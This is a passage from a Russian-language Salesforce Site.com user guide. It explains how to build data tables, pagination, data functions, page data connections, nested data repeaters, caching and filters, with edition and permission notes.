Чтобы связаться с {!Name}, позвоните по телефону {!Phone}.

где {!Name} и {!Phone} являются структурными нулями для значений полей
«Имя» и «Тел.» каждой записи.

Кроме того, выражения могут использоваться при добавлении гиперссылки в блок
содержимого.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Извлечение данных посредством информационных подключений страницы

Отображение данных с помощью настраиваемого кода

Отображение данных с помощью элементов данных

Примерыфильтрации данных
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Динамическое извлечение данных с помощью таблиц данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

И

«Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Таблица данных позволяет устанавливать связи со стандартными или настраиваемыми
объектамиSalesforce, извлекатьнаборыданныхнаосновезаданныхкритериевфильтрации
и отображать записи в виде строк таблицы. Столбцы таблицы данных соотносятся с
полями связанного объекта. Каждая ячейка столбца выступает в качестве структурного
нуля, который заменяется данными поля при загрузке страницы.

Чтобы добавить таблицу данных на страницу, выполните указанные ниже действия.

1. Перетащитеэлемент«Таблицаданных»спанели «Элементыстраницы» настраницу.

2. Выберите нужный объект.

Прим.:

• Для пользователей Site.com: раскрывающийся список содержит только те
объекты, которые доступны пользователям-гостям, так как посетителям
общедоступногосайтапредоставляетсялицензияпользователя-гостя. Чтобы
предоставить пользователям-гостям доступ к другим объектам, откройте
профиль пользователя-гостя, включите полномочие «Чтение» для
соответствующего объекта и обновите список.

• Дляпользователейсообществ: раскрывающийсясписоксодержитобъекты,
которые не могут быть доступны посетителям сайта. Доступ проверенных
посетителей к объектам на общедоступных и личных страницах
контролируется соответствующими профилями пользователя. Доступ
непроверенных посетителей к объектам на общедоступных страницах
контролируется профилем пользователя-гостя сайта.

3. При необходимости выберите критерии фильтрации набора данных в разделе
«Фильтры». Если критерии фильтрации не заданы, то отображаются все данные
элемента.

a. Выберите поле, к которому должны быть применены критерии фильтрации.
Раскрывающийся список «Поле» содержит поля объекта, за которыми следуют
поля всех родительских объектов, указанные в следующемформате:
имя_родительского_объекта.имя_поля.

b. Чтобыопределить способфильтрациирезультатов, выберитенужныйоператор.
Например, чтобы просмотреть точные совпадения, выберите оператор «Равно».

c. Выберите источник значенияфильтра. Например, чтобы задать явное значение,
выберите «Фиксированное значение». Чтобыиспользовать значения, переданныена
страницу посредством строки запроса, выберите «Строка URL-запроса».

d. Задайте значение фильтра. При использовании строки запроса рекомендуем
также указать алгоритм действий в случае ее отсутствия.

e. Чтобы уточнить результаты фильтрации, добавьте дополнительные критерии. Каждый элемент фильтра
дополняется оператором «И».

Прим.: Если фильтрация результатов выполняется на основе фиксированного значения, то возвращенные
записимогутбытьпросмотренывразделе «Предварительныйпросмотрподключения». Чтобыобновить список
записей, щелкните «Повторить загрузку предварительного просмотра».
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4. Укажитепорядоксортировкирезультатов (повозрастаниюилиубыванию) инеобходимоеколичествополейвразделе
«Сортировка». Например, если объект содержит пользовательские данные, то результаты могут быть отсортированы
сначала по полу, а затем по имени.

5. Укажитемаксимальнодопустимоеколичествоотображаемыхрезультатов вразделе «Ограничения». Например, чтобы
просмотреть только первые пять результатов, введите значение «5» в поле «Ограничить результаты:».

6. Придобавлениипагинацииукажитемаксимальнодопустимоеколичестворезультатовнастраницувполе «Количество
результатов на страницу».

7. Нажмите кнопку «Далее».

8. Чтобы добавить доступные поля в таблицу, дваждыщелкните нужное поле или выберите поле и нажмите кнопку

.

9. Чтобы изменить порядок отображения выбранных полей, щелкните «Переместить вверх» или «Переместить
вниз».

10. Нажмите кнопку «Сохранить».

Прим.: Элементыстраницынемогутбытьдобавленыв таблицуданных. Чтобыдобавить столбцыв таблицуданных,
выберите нужную таблицу данных ищелкните «Правка». Выберите дополнительные поля в окне «Выбрать поля»
и сохраните внесенные изменения.

Ниже перечислены действия, доступные на панели «Свойства» после добавления таблицы данных на страницу.

• Введите краткое описание назначения таблицы в поле «Заголовок». Заголовок отображается над таблицей и
соответствует стандартам доступности W3C для пользователей программ чтения с экрана.

• Чтобы скрыть заголовки столбцов, снимите флажок «Показать заголовки столбцов» в разделе «Таблица».

• Чтобывключитьфункциюсортировкистолбцов, выберите тему jQuery Flexigrid вразделе «Тема» иустановитефлажок
«Включить сортировку». Тема также меняет внешний вид таблицы.

• Чтобы изменить имя столбца, выберите ячейку столбца и обновите ее имя в свойстве «Заголовок столбца» раздела
«Таблица данных».

СМ. ТАКЖЕ:

Редактирование столбцов в таблице данных

Представления «По умолчанию», «Ошибка» и «Нет данных»

Повышение производительности посредством кэширования

Примерыфильтрации данных
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Редактирование столбцов в таблице данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Столбцы таблицы данных соотносятся с полями связанного объекта. Каждая ячейка
столбца выступает в качестве структурногонуля, которыйзаменяется даннымиполяпри
загрузке страницы.

Ячейки столбца позволяют отображать обычный текст, форматированный текст (для
датичисел) илиизображения. Крометого, ячейкистолбцамогут содержать гиперссылки
для переадресации посетителей сайта на другую страницу (например, подробное
описание) или обновления данных, отображаемых в таблице данных на основе выбора
пользователя. См. раздел «Примерыфильтрации данных» на странице 5227.

Чтобы изменить столбец, выполните указанные ниже действия.

1. Дваждыщелкните ячейку столбца в таблице данных.

2. Выберите нужное поле. Чтобы определить способ отображения данных поля,
щелкните «Настроить».

Прим.: Поля объекта отображаются первыми; затем следуют поля всех
родительских объектов, использующихформат
имя_родительского_объекта.имя_поля.

3. Выберите тип отображения.

ОписаниеПараметр

Отображение данных поля в виде
обычного текста.

Текст

Выбор нужного формата отображения
текста при использовании дат, времени
или валюты.

Форматированный текст

Отображениеданныхполя, содержащего
URL-адрес изображения, в виде
изображения. URL-адрес может быть
абсолютным или относительным.

При необходимости выберите поле для
альтернативного текста или введите
настраиваемый текст.

Изображение

4. Чтобы создать гиперссылку, выберите «Добавить гиперссылку». В противном случае перейдите к действию 8.

5. Выберите тип ссылки.
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ОписаниеПараметр

Связывание с веб-страницей путем выполнения одного
из указанных ниже действий.

URL-адрес

• Выбор нужного поля (например, поле, содержащее
относительные URL-адреса PDF-файлов, загруженных
на сайт).

• Выборнужногополяинажатиекнопки «Настроить»
длядобавленияабсолютного URL-адресаилисоздания
настраиваемой ссылки (например, строки
URL-запроса).

Связывание со страницей, изображением или файлом,
используемым на сайте, путем выбора типа элемента и

Элемент сайта

самогоэлемента. (Еслисписокэлементовнеотображается,
установите курсор в поле «URL-адрес» и нажмите
клавишу со стрелкой «вниз» на клавиатуре.)

При необходимости настройте URL-адрес (например,
путем создания строки URL-запроса).

Связывание с сообщением эл. почты путем ввода адреса
получателя, темы и текста сообщения.

Поля слияния могут использоваться для доступа к полям
объекта. Например, если объект содержит поле «Эл.

Эл. почта

почта», введите поле слияния (например, {!email}) в
текстовое поле «Адрес эл. почты».

При выборе ссылки открывается окно создания
сообщения в почтовом клиенте пользователя и
заполняется поле «Кому» соответствующим адресом эл.
почты .

6. Чтобыдобавитьподсказку, выберитеобязательноеполеилищелкните«Настроить»длядобавлениянастраиваемого
текста.

Подсказка отображается в виде всплывающего окна при наведении указателя мыши на ссылку.

7. Выберите область отображения элемента, связываемого с URL-адресом или элементом сайта.

ОписаниеПараметр

Элементотображаетсявовсплывающемокне. Привыборе
данного параметра пользователь может указать имя

Во всплывающем окне

всплывающего окна, а также определить его размеры и
внешний вид.

Элемент отображается в новом безымянном окне
обозревателя.

В новом окне (_blank)
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ОписаниеПараметр

Элемент отображается в том же окне в виде ссылки.
Данный параметр выбран по умолчанию.

В текущем окне (_self)

Элемент отображается в активном родительском наборе
рамок или окне-рамке, содержащем ссылку.

В активном окне (_top)

Элементотображается вродительскомнаборерамокили
окне-рамке, содержащем ссылку.

В родительском окне (_parent)

8. Нажмите кнопку «Сохранить».

Столбец отображается на странице в качестве выражения. Чтобы протестировать отображаемые результаты, откройте
страницу для предварительного просмотра.

Чтобыизменитьимястолбца, выберитеячейкустолбцаиобновитеимявполе «Заголовок столбца» напанели «Свойства».

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью таблиц данных

Общие сведения о службах данных Site.com
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Добавление пагинации в повторители данных и таблицы данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Событияпозволяютдобавлятьинтерактивныеианимированныеэффектынастраницы
и в элементы страницы веб-сайта. События пагинации, добавленные в повторители
данных и таблицы данных, способствуют удобному перемещению пользователей по
отображаемым данным. Рекомендуем использовать даннуюфункцию при обработке
большого объема информации.

Например, пагинация, добавленная в повторитель данных, который отображает всех
пользователейорганизации, упрощаетпроцессперемещенияпользователейподанным.
Система поддерживает три события пагинации.

• Предыдущая страница

• Следующая страница

• Перейти на страницу

Создание событий «Предыдущая страница» и «Следующая страница»

Создайте кнопки «Предыдущая страница» и «Следующая страница» для
последовательного перемещения пользователей по данным. Обе кнопки создаются
одинаково.

1. Создайте повторитель данных или таблицу данных.

2. Укажите количество отображаемых записей на страницу в разделе «Ограничения».

3. Перетащите кнопку на страницу.

4. Заменитеимякнопкизначением «Предыдущаястраница» или «Следующаястраница»
на панели «Свойства».

5. Выберите событие «Щелчок» на панели «События».

6.
Нажмите кнопку в появившемся окне «Действия» и выберите действие
«Предыдущая страница» или «Следующая страница».

7. Выберите повторитель данных или таблицу данных в поле «Целевой элемент».

8. Нажмите кнопку «Сохранить».

Создание события «Перейти на страницу»

Событие «Перейти на страницу» создается по аналогии с кнопками «Предыдущая страница» и «Следующая страница»,
но требует добавления поля ввода, позволяющего пользователям указывать номер нужной страницы.

1. Создайте повторитель данных или таблицу данных.

2. Укажите количество отображаемых записей на страницу в разделе «Ограничения».

3. Перетащите поле «Число» на страницу.

4. Замените имя метки поля нужным значением на панели «Свойства». Например, «Введите номер страницы».

5. Перетащите элемент «Кнопка» на страницу.

6. Замените имя кнопки значением «Перейти на страницу» на панели «Свойства».

7. Выберите событие «Щелчок» на панели «События».

8.
Нажмите кнопку в появившемся окне «Действия» и выберите действие «Перейти на страницу».
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9. Выберите повторитель данных или таблицу данных в поле «Целевой элемент».

10. Выберите поле, созданное в действии 3, в параметре «Код поля ввода».

11. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Динамическое извлечение данных с помощью таблиц данных

Создание события

Доступные события и действия
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Использование функций обработки данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

И

«Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Функция обработки данных позволяет устанавливать связь со стандартным или
настраиваемым объектом Salesforce, выполнять расчеты по возвращенным результатам
иотображать этирасчетынастранице. Например, функцияобработкиданныхпозволяет
рассчитать общее значение или среднее количество всех возвращенных записей для
отдельного поля объекта.

Чтобы добавить функция обработки данных на страницу, выполните указанные ниже
действия.

1. Перетащитеэлемент«Функцияобработкиданных»спанели «Элементыстраницы»
на страницу.

2. Выберите нужный объект.

Прим.:

• Для пользователей Site.com: раскрывающийся список содержит только те
объекты, которые доступны пользователям-гостям, так как посетителям
общедоступногосайтапредоставляетсялицензияпользователя-гостя. Чтобы
предоставить пользователям-гостям доступ к другим объектам, откройте
профиль пользователя-гостя, включите полномочие «Чтение» для
соответствующего объекта и обновите список.

• Дляпользователейсообществ: раскрывающийсясписоксодержитобъекты,
которые не могут быть доступны посетителям сайта. Доступ проверенных
посетителей к объектам на общедоступных и личных страницах
контролируется соответствующими профилями пользователя. Доступ
непроверенных посетителей к объектам на общедоступных страницах
контролируется профилем пользователя-гостя сайта.

3. При необходимости выберите критерии фильтрации набора данных в разделе
«Фильтры». Если критерии фильтрации не заданы, то отображаются все данные
элемента.

a. Выберите поле, к которому должны быть применены критерии фильтрации.
Раскрывающийся список «Поле» содержит поля объекта, за которыми следуют
поля всех родительских объектов, указанные в следующемформате:
имя_родительского_объекта.имя_поля.

b. Чтобыопределить способфильтрациирезультатов, выберитенужныйоператор.
Например, чтобы просмотреть точные совпадения, выберите оператор «Равно».

c. Выберите источник значенияфильтра. Например, чтобы задать явное значение,
выберите «Фиксированное значение». Чтобыиспользовать значения, переданныена
страницу посредством строки запроса, выберите «Строка URL-запроса».

d. Задайте значение фильтра. При использовании строки запроса рекомендуем также указать алгоритм действий в
случае ее отсутствия.

e. Чтобы уточнить результаты фильтрации, добавьте дополнительные критерии. Каждый элемент фильтра
дополняется оператором «И».

Прим.: Если фильтрация результатов выполняется на основе фиксированного значения, то возвращенные
записимогутбытьпросмотренывразделе «Предварительныйпросмотрподключения». Чтобыобновить список
записей, щелкните «Повторить загрузку предварительного просмотра».
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4. Выберите нужнуюфункцию в разделе «Функции».

ОписаниеПараметр

Определяет количество записей, содержащих значение
для выбранного поля. Например, если значение

Количество

выбранного поля используется только в 25 записях
объекта из 30 доступных, то данный параметр равен 25.

Возвращаетнаибольшее значение для выбранногополя.
Данныйпараметрприменяется кчислам, строкамидатам.

Максимальное значение

Определяет среднее значение всех записей для
выбранного поля. Например, среднее значение по

Среднее значение

20 записям, общаяцена которыхсоставляет 20 000 рублей,
равно 1 000. Данный параметр применяется только к
числовым полям.

Возвращаетнаименьшее значениедля выбранногополя.
Данныйпараметрприменяется кчислам, строкамидатам.

Минимальное значение

Определяетобщеезначениевсехзаписейдлявыбранного
поля.

Сумма

5. Выберите нужное поле.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Представления «По умолчанию», «Ошибка» и «Нет данных»

Повышение производительности посредством кэширования

Примерыфильтрации данных

Общие сведения об информационных подключениях страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Информационные подключения страницы позволяют администраторам сайта и
конструкторамсоздавать страницысведенийдляотдельныхзаписейприиспользовании
объектов Salesforce.

Информационные подключения страницы, используемые совместно с элементами
повторителя, настраиваемымкодомилиблокамисодержимого, позволяютустанавливать
связи со стандартными и настраиваемыми объектами, извлекать конкретные записи и
отображать записи на странице сайта в динамическом режиме.

Пример: Например, всеорганизациикомпаниидолжныотображатьсяна странице
сайтапоимени «Организации». А, ссылка«Просмотрсведений»должнаоткрывать
страницу сайта по имени «Сведения об организации» для отображения сведений
о выбранной организации.

В данном случае добавьте повторитель данных на страницу сайта по имени
«Организации» дляизвлечениясписка записейизобъекта «Организация» (1). Чтобы
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создать ссылку «Просмотрсведений» (2), воспользуйтесь элементомданных. Созданная ссылка использует строку
URL-запросадляпередачиполя «Код организации» в качестве уникальногоидентификаторана страницупоимени
«Сведения об организации». При загрузке страницы по имени «Сведения об организации» информационное
подключениестраницыиспользует значениеуникальногоидентификаторадлядинамическогоотображениятолько
сведений о данной записи (3).

Информационные подключения страницы позволяют использовать выражения для доступа к отображаемым
данным в любой области страницы, включая свойства страницы. Например, чтобы использовать имя организации
в качестве заголовка страницы «Сведения об организации», введите значение {!Name} в поле «Заголовок» на
панели «Свойства». Загрузка страницы инициирует извлечение имени организации для отдельной записи и его
отображение в строке заголовка обозревателя.

СМ. ТАКЖЕ:

Извлечение данных посредством информационных подключений страницы

Общие сведения о службах данных Site.com
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Извлечение данных посредством информационных подключений страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

И

«Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Рекомендуем использовать информационное подключение страницы для создания
страниц сведений для отдельных записей при использовании объектов Salesforce.

Информационные подключения страницы, используемые совместно с элементами
данных, настраиваемым кодом или блоками содержимого, позволяют устанавливать
связи со стандартными и настраиваемыми объектами, извлекать конкретные записи и
отображать возвращенные данные на странице в динамическом режиме. При
необходимости воспользуйтесь выражениями для доступа к возвращенным данным в
свойствах страницы.

Ниже перечислены действия, доступные на открытой странице.

1. Убедитесь, что страница выбрана на панели «Структура страницы».

2. Нажмите кнопку «Добавить подключение» в разделе «Информационное
подключение страницы» на панели «Свойства».

3. Выберите нужный объект.

Прим.:

• Для пользователей Site.com: раскрывающийся список содержит только те
объекты, которые доступны пользователям-гостям, так как посетителям
общедоступногосайтапредоставляетсялицензияпользователя-гостя. Чтобы
предоставить пользователям-гостям доступ к другим объектам, откройте
профиль пользователя-гостя, включите полномочие «Чтение» для
соответствующего объекта и обновите список.

• Дляпользователейсообществ: раскрывающийсясписоксодержитобъекты,
которые не могут быть доступны посетителям сайта. Доступ проверенных
посетителей к объектам на общедоступных и личных страницах
контролируется соответствующими профилями пользователя. Доступ
непроверенных посетителей к объектам на общедоступных страницах
контролируется профилем пользователя-гостя сайта.

4. Принеобходимости выберите нужные критериифильтрации в разделе «Фильтры».
Есликритериифильтрациинезаданы, топоумолчаниюотображаетсяпервая запись.

a. Выберите поле, к которому должны быть применены критерии фильтрации.
Раскрывающийся список «Поле» содержит поля объекта, за которыми следуют
поля всех родительских объектов, указанные в следующемформате:
имя_родительского_объекта.имя_поля.

b. Чтобыопределить способфильтрациирезультатов, выберитенужныйоператор.
Например, чтобы просмотреть точные совпадения, выберите оператор «Равно».

c. Выберите источник значенияфильтра. Например, чтобы задать явное значение,
выберите «Фиксированное значение». Чтобы использовать значения, переданные на страницу посредством строки
запроса, выберите «Строка URL-запроса».

d. Задайте значение фильтра. При использовании строки запроса рекомендуем также указать алгоритм действий в
случае ее отсутствия.

e. Чтобы уточнить результаты фильтрации, добавьте дополнительные критерии. Каждый элемент фильтра
дополняется оператором «И».
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Прим.: Если фильтрация результатов выполняется на основе фиксированного значения, то возвращенные
записимогутбытьпросмотренывразделе «Предварительныйпросмотрподключения». Чтобыобновить список
записей, щелкните «Повторить загрузку предварительного просмотра».

5. Укажитепорядоксортировкирезультатов (повозрастаниюилиубыванию) инеобходимоеколичествополейвразделе
«Сортировка».
Например, чтобы создать страницу, отображающую самое популярное кино, рекомендуем установить связь с
настраиваемым объектом, содержащим данные о кино, и, взамен использования критериев фильтрации, выполнить
сортировку по рейтингу в порядке убывания. Информационное подключение страницы возвращает одну запись,
поэтому страница отображает только кино с наиболее высоким рейтингом.

6. Нажмите кнопку «Сохранить».

Затем добавьте элементыданных, настраиваемыйкодилиблоки содержимогона страницу для отображенияизлеченных
данных.

Система позволяет использовать выражения для доступа к отображаемым данным в любой области страницы, включая
свойства страницы. Например, чтобы использовать имя организации в качестве заголовка страницы «Сведения об
организации», введите значение {!Name} в поле «Заголовок» на панели «Свойства». Загрузка страницы инициирует
извлечение имени организации для отдельной записи и его отображение в строке заголовка обозревателя.

СМ. ТАКЖЕ:

Общие сведения об информационных подключениях страницы

Повышение производительности посредством кэширования

Общие сведения об отображении динамических данных посредством выражений

Примерыфильтрации данных

Общие сведения о доступе к данным в связанных объектах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Стандартные и настраиваемые объекты используют взаимосвязи, которые определяют
способ связи записей, принадлежащих разным объектам. Например, благодаря
взаимосвязи «один ко многим», установленной между организациями и контактами,
каждая организация может быть связана с одним или несколькими контактами. Данная
взаимосвязь также называется «родитель — потомок» или «основная — подробная».

Дополнительнуюинформациюовзаимосвязяхмеждуобъектами Salesforce см. вразделе
«Взаимосвязи объектов».

Повторители данных, таблицы данных и функции обработки данных используют эти
взаимосвязи для отображения данных из связанных объектов на странице.

Общие сведения о доступе к данным в родительских объектах

Еслиповторительданных, таблицаданныхилифункцияобработкиданныхдобавляется
настраницуисвязываетсясостандартнымилинастраиваемымобъектом, топользователю
автоматически предоставляется доступ к полям любого связанного родительского объекта.

Если критерии фильтрации добавляются в повторитель данных, таблицу данных или функцию обработки данных, то
раскрывающийся список «Поле» в диалоговом окне «Создать информационное подключение» содержит поля объекта,
за которыми следуют поля всех родительских объектов, указанные в следующемформате:
имя_родительского_объекта.имя_поля. Таким образом, поле родительского объекта может использоваться для фильтрации
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результатов. Например, при извлечении записей из объекта «Контакты» контакты могут быть отфильтрованы по имени
организации (Account.Account Name) «Садовник».

Аналогичным образом, элементы данных, добавленные в повторитель данных, или столбцы, добавленные в таблицу
данных, могутбыть связанысполямиродительскогообъекта. Например, таблицаданных, связанная собъектом «Контакт»,
может быть дополнена столбцами, один из которых соотносится с полем контакта «Полное имя», а второй — с полем
организации Account.Account Name; в этом случае имя контакта будет отображаться вместе с именем связанной
организации.

Общие сведения о доступе к данным в дочерних объектах

Повторительданных, содержащийдругойповторительданных, таблицуданныхилифункциюобработкиданных, может
использоватьсядляизвлеченияданныхиздочернегообъекта. Внешнийилиродительскийповторительданныхсвязывается
собъектом (например, организации). Внутреннийповторительданных, таблицаданныхилифункцияобработкиданных
автоматически связывается с любыми дочерними объектами (например, контакты). Также это называется вложенным
повторителем данных.

Допустим, пользователю необходимо просмотреть список организаций с именами связанных контактов (см. пример
ниже).

Создайте повторитель данных (1), связанный с объектом «Организации», и добавьте элемент данных (2), который
соотноситсясполем «Имя организации». Добавьтевложенныйповторительданных (3), связанныйсобъектом «Контакты»,
который является дочерним для объекта «Организации». Добавьте элемент данных (4), который соотносится с полем
контакта «Полное имя», во вложенный повторитель данных.
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СМ. ТАКЖЕ:

Отображение данных из связанных объектов с помощью вложенных повторителей данных

Динамическое извлечение данных с помощью повторителей данных

Динамическое извлечение данных с помощью таблиц данных
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Отображение данных из связанных объектов с помощью вложенных повторителей данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

И

«Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Повторитель данных, содержащий другой повторитель данных, таблицу данных или
функциюобработкиданных, можетиспользоватьсядляизвлеченияданныхиздочернего
объекта. Внешний или родительский повторитель данных связывается с объектом
(например, организации). Внутреннийповторительданных, таблицаданныхилифункция
обработки данных автоматически связывается с любыми дочерними объектами
(например, контакты). Также это называется вложенным повторителем данных.

Например, повторитель данных, связанный с объектом «Организации», может быть
дополнен вложеннойфункцией обработки данных, связанной с объектом «Контакты»,
что позволит просмотреть количество контактов, связанных с каждой организацией.

Чтобы создать вложенный повторитель данных, выполните указанные ниже действия.

1. Добавьте повторитель данных на страницу.

2. Перетащитедополнительныйэлемент«Повторительданных», «Таблицаданных»
или «Функцияобработкиданных» с панели «Элементы страницы» в повторитель
данных.

3. Выберите нужный связанный объект Salesforce.

Прим.: Данныемогутбыть такжеизвлеченыизнесвязанныхобъектов. Однако,
рекомендуем извлекать данные только из связанных объектов, так как
использование несвязанных объектов может отрицательно сказаться на
производительности сайта.

4. При необходимости выберите критерии фильтрации набора данных в разделе
«Фильтры». Если критерии фильтрации не заданы, то отображаются все данные
элемента.

a. Выберите поле, к которому должны быть применены критерии фильтрации.
Раскрывающийся список «Поле» содержит поля объекта, за которыми следуют
поля всех родительских объектов, указанные в следующемформате:
имя_родительского_объекта.имя_поля.

b. Чтобыопределить способфильтрациирезультатов, выберитенужныйоператор.
Например, чтобы просмотреть точные совпадения, выберите оператор «Равно».

c. Выберите источник значенияфильтра. Например, чтобы задать явное значение,
выберите «Фиксированное значение». Чтобыиспользовать значения, переданныена
страницу посредством строки запроса, выберите «Строка URL-запроса».

d. Задайте значение фильтра. При использовании строки запроса рекомендуем
также указать алгоритм действий в случае ее отсутствия.

e. Чтобы уточнить результаты фильтрации, добавьте дополнительные критерии.
Каждый элемент фильтра дополняется оператором «И».

Прим.: Если фильтрация результатов выполняется на основе фиксированного значения, то возвращенные
записимогутбытьпросмотренывразделе «Предварительныйпросмотрподключения». Чтобыобновить список
записей, щелкните «Повторить загрузку предварительного просмотра».

5. Укажитепорядоксортировкирезультатов (повозрастаниюилиубыванию) инеобходимоеколичествополейвразделе
«Сортировка». Например, если объект содержит пользовательские данные, то результаты могут быть отсортированы
сначала по полу, а затем по имени.
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6. Укажитемаксимальнодопустимоеколичествоотображаемыхрезультатов вразделе «Ограничения». Например, чтобы
просмотреть только первые пять результатов, введите значение «5» в поле «Ограничить результаты:».

7. Придобавлениипагинацииукажитемаксимальнодопустимоеколичестворезультатовнастраницувполе «Количество
результатов на страницу».

8. При использовании таблицы данныхщелкните «Далее». Чтобы добавить поля в таблицу, дваждыщелкните нужное

поле или выберите поле и нажмите кнопку .

9. Нажмите кнопку «Сохранить».

При необходимости добавьте элементы данных или настраиваемый код в родительский повторитель для отображения
его полей. Аналогичным образом, вложенный повторитель данных, доступный в родительском повторителе данных,
может быть дополнен элементами данных или настраиваемым кодом для отображения полей дочернего объекта.

Прим.: Повторители данных могут быть вложены только на один нижестоящий уровень.

СМ. ТАКЖЕ:

Общие сведения о доступе к данным в связанных объектах

Динамическое извлечение данных с помощью таблиц данных

Использование функций обработки данных

Повышение производительности посредством кэширования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Кэшированиепозволяет повыситьпроизводительностьи обработку страниц веб-сайта
прииспользованииэлементовстраницы, привязанныхкданным (например, повторители
данных, таблицы данных и функции обработки данных). Кэширование контролирует
частоту запросов данных Salesforce, отправляемых страницей, содержащей
информационное подключение.

Например, страница сайта одновременно просматривается 100 посетителями. Если
кэширование отключено, то страница отправляет 100 отдельных запросов на одни и те
же данные, а ее производительность сильно снижается. Если кэширование включено,
то страница отправляет всего один запрос для первого посетителя. Все последующие
запросы, отправляемыевтечениезаданноговременногопромежутка, извлекаютданные
из кэша. По истечении установленного времени кэш обновляется.

Поле «Продолжительность кэширования (в минутах)» на вкладке «Свойства»
определяет период кэширования извлеченных данных для выбранного повторителя
данных, таблицы данных или функции обработки данных.

Значениепоумолчанию — 30 минут. Темнеменее, оптимальное значениеопределяется текущимибизнес-требованиями.
Например:

• При частом обновлении данных (например, система комментирования или биржевые сводки) рекомендуем выбрать
нулевое значение. Данное действие позволяет отключить кэширование и отображать на странице самые последние
данные.

• Приредкомобновленииданных (например, раз в неделю) рекомендуем выбрать увеличенное значение. Длительный
периодкэшированияпозволяетпросматривать страницыдаже в случае временнойнедоступностиисточникаданных.
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Прим.: Обновление сайта инициирует удаление кэша для всех информационных подключений. Кэширование
возобновляется при следующем просмотре страницы сайта.

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Динамическое извлечение данных с помощью таблиц данных

Использование функций обработки данных

Фильтры данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Количествозаписей, извлекаемыхврезультатедобавленияповторителяданных, таблицы
данных илифункции обработки данных на страницу, может не ограничиваться. Чтобы
ограничить количество возвращенных результатов при работе с объектом Salesforce,
содержащим тысячи записей, рекомендуем использовать критерии фильтрации.

Ниже перечислены компоненты, которые должны быть указаны при добавлении
